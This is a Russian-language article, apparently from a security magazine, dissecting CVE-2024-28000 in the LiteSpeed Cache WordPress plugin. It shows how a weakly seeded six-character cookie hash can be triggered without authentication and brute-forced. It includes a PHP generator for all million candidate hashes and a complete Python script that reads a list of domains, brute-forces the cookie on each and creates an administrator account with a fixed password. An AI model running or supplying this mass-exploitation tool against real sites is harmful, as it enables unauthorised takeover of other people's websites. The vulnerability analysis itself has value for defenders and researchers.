CVE со скоростью света
Исправляем публичный эксплоит для LiteSpeed Cache
Каждый раз после того, как в новостях публикуют какую‑то мегакрутую уязвимость, можно наблюдать четыре типа людей:
- Те, кто спешит опубликовать бесплатный эксплоит, который будет неприменим без доработок.
- Те, кто публикует PoC (доказательство концепции) на GitHub, YouTube или других платформах, оставляя ссылку для покупки или контакты.
- Те, кто анализирует уязвимость, подробно описывая ее опасность, но без предоставления PoC.
- Любители покритиковать всех остальных.
Сегодня я совмещу третий и четвертый типы: расскажу тебе об уязвимости и покритикую хакеров из первых двух категорий.
Немного о ситуации
Уязвимость, которую мы рассмотрим, нашел Джон Блэкборн, и она получила идентификатор CVE-2024-28000.
Компания Patchstack утверждает:
За эту уязвимость была назначена самая высокая награда в истории поиска ошибок в WordPress. Программа Patchstack Zero Day наградила исследователя 14 400 долларов США наличными.
Wordfence (конкурент) заявляет:
Хотя об этой уязвимости не сообщалось в программе Wordfence Bug Bounty, за нее, скорее всего, было бы присуждено вознаграждение в размере около 23 400–31 200 долларов США во время нашего текущего конкурса Superhero Challenge, учитывая известную нам информацию об уязвимости.
Анализ уязвимости
Уязвимость, по сути, заключается в том, что где‑то в недрах плагина генерируется хеш, который используется в качестве куки, через которую можно создать аккаунт администратора. При этом в основе хеша — случайное число, сгенерированное на основе долей секунды. Число комбинаций для таких чисел ограниченно, что позволяет подобрать хеш.
Зачем генерируется хеш?
У LiteSpeed Cache есть функция для симуляции пользователя, внутри которой создается и сохраняется хеш. Этот хеш используется как кука litespeed_hash
. Для его генерации нужно включить функцию краулера. Если ты поищешь в коде get_hash
, то увидишь, что эта функция вызывается в двух местах. Прежде чем начать анализ того, как генерируется хеш, давай разберемся, в каких случаях эта функция вызывается.

Функция self_curl
предназначена для выполнения HTTP-запроса с использованием библиотеки cURL:
public function self_curl($url, $ua, $uid = false, $accept = false) { // $accept not in use yet $this->_crawler_conf['base'] = home_url(); $this->_crawler_conf['ua'] = $ua; if ($accept) { $this->_crawler_conf['headers'] = array('Accept: ' . $accept); } if ($uid) { $this->_crawler_conf['cookies']['litespeed_role'] = $uid; $this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash(); } $options = $this->_get_curl_options(); $options[CURLOPT_HEADER] = false; $options[CURLOPT_FOLLOWLOCATION] = true; $ch = curl_init(); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code != 200) { self::debug('❌ Response code is not 200 in self_curl() [code] ' . var_export($code, true)); return false; } return $result; }
Эта функция принимает несколько параметров, таких как URL, User-Agent и идентификатор пользователя ($uid
). Она устанавливает базовый URL, используя метод home_url(
, и сохраняет переданный User-Agent
. Если передан идентификатор пользователя, создаются куки litespeed_role
и litespeed_hash
.
Дело в том, что функция self_curl
используется в функции prepare_html
.
public function prepare_html($request_url, $user_agent, $uid = false) { $html = $this->cls('Crawler')->self_curl(add_query_arg('LSCWP_CTRL', 'before_optm', $request_url), $user_agent, $uid);
Функция prepare_html
используется в функции _send_req
.
private function _send_req($request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp) { // Check if has credit to push or not $err = false; $allowance = $this->cls('Cloud')->allowance(Cloud::SVC_CCSS, $err); if (!$allowance) { Debug2::debug('[CCSS] ❌ No credit: ' . $err); $err && Admin_Display::error(Error::msg($err)); return 'out_of_quota'; } // Update css request status $this->_summary['curr_request_' . $type] = time(); self::save_summary(); // Gather guest HTML to send $html = $this->prepare_html($request_url, $user_agent, $uid); if (!$html) { return false; }.....
Функция _send_req
вызывается из _cron_handler
.
private function _cron_handler($type, $continue) { $this->_queue = $this->load_queue($type); if (empty($this->_queue)) { return; } $type_tag = strtoupper($type); // For cron, need to check request interval too if (!$continue) { if (!empty($this->_summary['curr_request_' . $type]) && time() - $this->_summary['curr_request_' . $type] < 300 && !$this->conf(self::O_DEBUG)) { Debug2::debug('[' . $type_tag . '] Last request not done'); return; } } $i = 0; $timeoutLimit = ini_get('max_execution_time'); $this->_endts = time() + $timeoutLimit; foreach ($this->_queue as $k => $v) { if (!empty($v['_status'])) { continue; } if (function_exists('set_time_limit')) { $this->_endts += 120; set_time_limit(120); } if ($this->_endts - time() < 10) { // self::debug("🚨 End loop due to timeout limit reached " . $timeoutLimit . "s"); // return; } Debug2::debug('[' . $type_tag . '] cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']); if ($type == 'ccss' && empty($v['url_tag'])) { unset($this->_queue[$k]); $this->save_queue($type, $this->_queue); Debug2::debug('[CCSS] wrong queue_ccss format'); continue; } if (!isset($v['is_webp'])) { $v['is_webp'] = false; } $i++; $res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp']); if (!$res) { // Status is wrong, drop this this->_queue unset($this->_queue[$k]); $this->save_queue($type, $this->_queue);.....
Функция _cron_handler
вызывается из cron_ccss
.
public static function cron_ccss($continue = false) { $_instance = self::cls(); return $_instance->_cron_handler('ccss', $continue); }
Функция cron_ccss
служит оберткой для запуска функции _cron_handler
. Она вызывает функцию _cron_handler
, передавая в качестве типа ccss
и флаг $continue
. Функция _cron_handler
загружает очередь задач для указанного типа (в данном случае — ccss
) через метод load_queue
. Если очередь пустая, функция завершает выполнение, так как нет задач для обработки.
То есть функция cron_ccss
ставит в обработку функцию _ccss
, в которой uid
— это результат работы get_current_user_id
, который берет User ID из функции _wp_get_current_user
. То есть User ID дается самим движком, а не пользователем. Это значит, что манипулировать им мы не сможем и нужно проанализировать второе место, где вызывается get_hash(
:
private function _ccss() { global $wp; $request_url = home_url($wp->request); $filepath_prefix = $this->_build_filepath_prefix('ccss'); $url_tag = $this->_gen_ccss_file_tag($request_url); $vary = $this->cls('Vary')->finalize_full_varies(); $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ccss'); if ($filename) { $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; if (file_exists($static_file)) { Debug2::debug2('[CSS] existing ccss ' . $static_file); Core::comment('QUIC.cloud CCSS loaded ✅ ' . $filepath_prefix . $filename . '.css'); return File::read($static_file); } } $uid = get_current_user_id();
Перейдем к анализу _get_curl_options
.
private function _get_curl_options($crawler_only = false) { $options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_FOLLOWLOCATION => false, CURLOPT_ENCODING => 'gzip', CURLOPT_CONNECTTIMEOUT => 10,..... if ($crawler_only) { $this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash(); }.....
Для нас здесь важно, что если crawler_only
, то будет генерироваться наш хеш. Вызов _get_curl_options
делается из _do_running
, где crawler_only
передан как true
:
private function _do_running() { $options = $this->_get_curl_options(true);
Пройдемся по цепочке вызовов:
-
_engine_start
вызывается из_crawl_data(
;$manually_run) -
_crawl_data
используется в функцииstart(
;$manually_run = false) -
start
используется в функцииasync_handler(
;$manually_run = false) -
async_handler
вызывается изasync_litespeed_handler
.
При каждом вызове делается проверка manually_run
, и значение должно быть истинным. Вот как выглядит вызов async_handler
из async_litespeed_handler
:
public static function async_litespeed_handler() { $type = Router::verify_type(); self::debug('type=' . $type); // Don’t lock up other requests while processing session_write_close(); switch ($type) { case 'crawler': Crawler::async_handler(); break; case 'crawler_force': Crawler::async_handler(true); break; case 'imgoptm': Img_Optm::async_handler(); break; case 'imgoptm_force': Img_Optm::async_handler(true); break; default: } }
То есть хеш создастся, если кто‑то сделает запрос вот по такому адресу:
wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force


Хеш генерируется для краулинга, который можно вызвать, либо включив соответствующую настройку в панели администратора, либо через функцию, которая не требует аутентификации. В исходном репорте на это намекали, но не показали, как на самом деле вызывается функция. Поэтому и публичные эксплоиты на данный момент все нерабочие. Вот такая вот смешная ситуация у «эксплоит‑девелоперов»:
def trigger_hash_generation(): payload = { 'action': 'async_litespeed', 'litespeed_type': 'crawler' }
private static async Task TriggerHashGeneration() { var payload = new Dictionary<string, string> { { "action", "async_litespeed" }, { "litespeed_type", "crawler" } };
def trigger_hash_generation(target_url): ajax_url = f"{target_url}/wp-admin/admin-ajax.php" params = { "action": "async_litespeed", "litespeed_type": "crawler" }
Как генерируется хеш?
Хеш в нашем случае — это строка из шести псевдослучайных символов. Чекнув функцию get_hash
, можно увидеть, что она использует вызов rrand
:
public static function get_hash() { // Reuse previous hash if existed $hash = self::get_option(self::ITEM_HASH); if ($hash) { return $hash; } $hash = Str::rrand(6); self::update_option(self::ITEM_HASH, $hash); return $hash; }
Функция rrand
предназначена для генерации случайной строки определенной длины из символов, выбранных из заранее заданного набора.
public static function rrand($len, $type = 7) { mt_srand((int) ((float) microtime() * 1000000)); switch ($type) { case 0: $charlist = '012'; break; case 1: $charlist = '0123456789'; break; case 2: $charlist = 'abcdefghijklmnopqrstuvwxyz'; break; case 3: $charlist = '0123456789abcdefghijklmnopqrstuvwxyz'; break; case 4: $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 5: $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 6: $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 7: $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; } $str = ''; $max = strlen($charlist) - 1; for ($i = 0; $i < $len; $i++) { $str .= $charlist[mt_rand(0, $max)]; } return $str; }
Здесь $len
— параметр, определяющий длину генерируемой строки, $type
— параметр, который определяет набор символов для генерации строки.
case 7: $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break;
Дальше используется функция mt_srand
, которая устанавливает начальное значение (seed) для генератора случайных чисел mt_rand
:
mt_srand((int) ((float) microtime() * 1000000));
Что такое seed и почему это важно?
Как ты, возможно, знаешь, случайные числа в компьютерах вовсе не случайные, а создаются по определенным алгоритмам, которые дают ту или иную степень случайности. Обычно такие алгоритмы используют какое‑то начальное значение (seed, «зерно»), которое затем меняют тем или иным образом. Один и тот же seed в результате работы алгоритма всегда даст одинаковое значение.
Сид может передаваться при инициализации генератора случайных чисел, и тогда каждое следующее полученное от него значение будет определено нашим сидом.
Что такое seed
Если ты все еще не до конца понимаешь, как работают все эти генераторы и что за сид такой, давай разберем на простом примере:
<?phpmt_srand(1);$max = 61;print(mt_rand(0, $max));?>
Представь, что у тебя есть колода карт. В этой колоде — 62 карты. Если каждый раз ты тасуешь колоду и вытаскиваешь карту, она может быть разной.
Но что, если у тебя всегда одна и та же колода? Если ты не тасуешь колоду, а просто берешь карты из одного и того же места, ты всегда будешь вытаскивать одну и ту же карту.
В нашем примере mt_srand(
задает «фиксированную колоду» для генератора случайных чисел. То есть каждый раз, когда ты запускаешь скрипт, генератор случайных чисел начинает работу с одного и того же состояния.
Из‑за того что рандом начинается всегда с одной и той же точки, ответ выше всегда будет равен 41, так как это и есть точка, с которой начинается рандом. Если три раза написать mt_rand
, то ответы будут 41, 25, 8. Эта последовательность не меняется.
Как работает microtime()
Функция microtime(
возвращает текущее время в секундах с точностью до микросекунд:
0.123456 // Представляет 123 456 микросекунд
В нашем коде происходит следующее преобразование:
(float) microtime() * 1000000
Поскольку microtime(
возвращает число с плавающей точкой, представляющее текущее время с точностью до микросекунд (например, 0,123456), удобно сразу умножить его на 1 000 000, чтобы получилось целое значение, и затем привести к целому типу (int).
Так или иначе, у нас возможен ровно один миллион вариантов.
Если использовать один и тот же seed, последовательность «случайных» чисел будет одинаковой. В данном случае seed может быть от 0 до 999 999, а следовательно, и результат одного срабатывания mt_rand
имеет миллион вариантов, двух — два миллиона и так далее.
А если вариантов хеша миллион, значит, по списку хешей мы могли бы сбрутить cookie и получить доступ к функциям, которые требуют привилегий. Я взял код генерации хешей из самого LiteSpeed и добавил парочку функций, которые сохранят все возможные хеши в файле hashes.
:
<?phpfunction rrand($len, $a, $type = 7) { mt_srand($a); switch ($type) { case 0: $charlist = '012'; break; case 1: $charlist = '0123456789'; break; case 2: $charlist = 'abcdefghijklmnopqrstuvwxyz'; break; case 3: $charlist = '0123456789abcdefghijklmnopqrstuvwxyz'; break; case 4: $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 5: $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 6: $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 7: $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; } $str = ''; $max = strlen($charlist) - 1; for ($i = 0; $i < $len; $i++) { $str .= $charlist[mt_rand(0, $max)]; } return $str;}function generate_and_save($start, $end, $filename) { $results = []; for ($a = $start; $a <= $end; $a++) { $results[] = rrand(6, $a); } file_put_contents($filename, implode("\n", $results), FILE_APPEND);}$thread_count = 1000;$range = intdiv(1000000, $thread_count);$filename = 'hashes.txt';if (file_exists($filename)) { unlink($filename);}$child_pids = [];for ($i = 0; $i < $thread_count; $i++) { $pid = pcntl_fork(); if ($pid == -1) { die("ыы форк."); } else if ($pid) { $child_pids[] = $pid; } else { $start = $i * $range; $end = ($i + 1) * $range - 1; if ($i === $thread_count - 1) { $end = 999999; } generate_and_save($start, $end, $filename); exit(0); }}foreach ($child_pids as $pid) { pcntl_waitpid($pid, $status);}echo "Г-Готово $filename.\n";?>
Генерация хешей — вторая важная часть нашего эксплоита, которая снова в публичных эксплоитах написана неправильно. Они просто поставили rrand(
, из‑за чего количество возможностей будет 626 = 56 800 235 584.
C:\home\xakep> cat hashes.txt| nl | grep 'Bmmtww'
738197 Bmmtww
Я решил сверить хеш, который сгенерировался у меня (БД → wp_options
→ option_name
= litespeed.
), с хешами из моего списка, и все совпало.
Эксплоит
Итак, у нас есть список хешей. Наш скрипт должен:
- отправить запрос
crawler
;force - сбрутить хеши;
- создать аккаунт администратора со сбрученным хешем.
Вот код, который сделает все это.
cve.py
import requestsimport argparseimport jsonimport randomfrom concurrent.futures import ThreadPoolExecutor, as_completed, wait, FIRST_COMPLETEDfrom threading import Eventfrom urllib.parse import urlparsedef load_hashes(file_path): with open(file_path, 'r') as f: return [line.strip() for line in f.readlines()]def send_request(domain, endpoint, data=None, method='POST', headers=None, timeout=10): parsed_url = urlparse(domain) scheme = parsed_url.scheme or 'http' url = f"{scheme}://{parsed_url.netloc}{endpoint}" try: response = requests.request(method, url, json=data, headers=headers, verify=False, timeout=timeout) return response except requests.exceptions.RequestException as e: print(f"Failed to connect to {url}: {e}") return Nonedef check_wp_json(domain): paths = ["/wp-json/", "/index.php/wp-json/"] for path in paths: response = send_request(domain, path, method='GET') if response and ("wp-json\\/batch\\/v1" in response.text or "rest_not_logged_in" in response.text): return path return Nonedef check_litespeed_crawler(domain): endpoint = "/wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force" response = send_request(domain, endpoint, method='GET') if response and response.status_code == 200: print(f"Litespeed crawler request successful on {domain}") else: print(f"Litespeed crawler request failed on {domain}: {response.status_code if response else 'No response'}")def generate_username_and_email(): n = random.randint(101, 199) username = f"wpmanagermain{n}" email = f"{username}@xxx-tower.net" return username, emaildef single_exploit(domain, path, hash_value, stop_event): if stop_event.is_set(): return None username, email = generate_username_and_email() headers = { "Cookie": f"litespeed_hash={hash_value}; litespeed_role=1", "Content-Type": "application/json" } data = { "username": username, "password": "Manager!2937", "email": email, "roles": ["administrator"] } endpoint = f"{path}wp/v2/users" response = send_request(domain, endpoint, data=data, headers=headers) if response and response.status_code == 401: print(f"Failed: 401 Unauthorized on {domain}") elif response and "capabilities" in response.text: print(f"Success: {username}:Manager!2937:{domain} - hash was {hash_value}") stop_event.set() return True else: print(f"Response on {domain}: {response.status_code} {response.text}") return Falsedef exploit(domain, hashes): path = check_wp_json(domain) if path: stop_event = Event() with ThreadPoolExecutor(max_workers=100) as executor: futures = [ executor.submit(single_exploit, domain, path, hash_value, stop_event) for hash_value in hashes ] done, not_done = wait(futures, return_when=FIRST_COMPLETED) if any(f.result() for f in done): stop_event.set() executor.shutdown(wait=False) else: for future in not_done: future.cancel() else: print(f"Failed: No valid wp-json path found for {domain}")def main(): parser = argparse.ArgumentParser(description="Domain Exploit Tool") parser.add_argument("-f", "--file", required=True, help="File containing list of domains") args = parser.parse_args() hashes = load_hashes("hashes.txt") with open(args.file, 'r') as f: domains = [line.strip() for line in f.readlines()] for domain in domains: print(f"Processing {domain}") check_litespeed_crawler(domain) exploit(domain, hashes)if __name__ == "__main__": main()
Запускать можно вот так:
python3 cve.py -f domainsWithScheme.txt
Выводы
Как видишь, публичные эксплоиты даже относительно несложных уязвимостей зачастую никуда не годятся. Но достаточно немного поизучать исходники, найти уязвимые функции и понять, почему и в каких условиях возможен описанный в CVE баг, и путь эксплуатации становится очевидным.